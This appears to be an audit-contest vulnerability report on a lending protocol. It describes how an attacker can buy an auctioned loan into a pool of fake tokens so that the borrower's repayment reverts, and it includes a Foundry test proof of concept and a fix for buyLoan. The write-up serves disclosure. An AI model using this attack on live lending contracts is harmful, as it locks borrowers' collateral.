20,000 USDC
View results
Submission Details
Severity: high
Valid

Preventing loan repayment after auction with DoS

Summary

It's possible to prevent a borrower to repay debt, effectively locking his collateral

Vulnerability Details

  1. Lender A creates a pool, deposits funds.

  2. Borrower A takes a loan from Lender A's pool.

  3. Lender A starts an auction to sell the loan.

  4. Attacker creates a new pool with fake loan token and fake collateral

  5. Attacker buys loan by supplying attacker pool's id

  6. Borrower A tries to repay original loan to get collateral back and transaction fails, as the Attacker does not have a pool with the originally loaned token and collateral

PoC:
Add test to Lender.t.sol

address public attacker = address(0x5);
TERC20 public fakeLoanToken;
TERC20 public fakeCollateralToken;
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
fakeLoanToken = new TERC20();
fakeCollateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
loanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
fakeLoanToken.mint(address(attacker), 100000*10**18);
fakeCollateralToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
fakeLoanToken.approve(address(lender), 1000000*10**18);
fakeCollateralToken.approve(address(lender), 1000000*10**18);
}
function test_DoSRepay() public {
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
// Lender starts auction
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(attacker);
// Attacker creates a new pool with fake loan token and fake collateral
Pool memory attackerPool = Pool({
lender: attacker,
loanToken: address(fakeLoanToken),
collateralToken: address(fakeCollateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 attackerPoolId = lender.setPool(attackerPool);
// warp to 23 hours after auction start
vm.warp(block.timestamp + 23 hours);
// Attacker buys loan with attacker pool
lender.buyLoan(0, attackerPoolId);
// borrower tries to repay, original loan to get collateral back
// and it fails as the attacker lender does not have a pool with the loaned token and collateral
vm.startPrank(borrower);
loanToken.mint(address(borrower), 5*10**17);
vm.expectRevert();
lender.repay(loanIds);
}

Impact

Loss of funds

Tools Used

Manual review

Recommendations

Check in the buyLoan function if the new pool's tokens match the loan's original loanToken and collateralToken

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.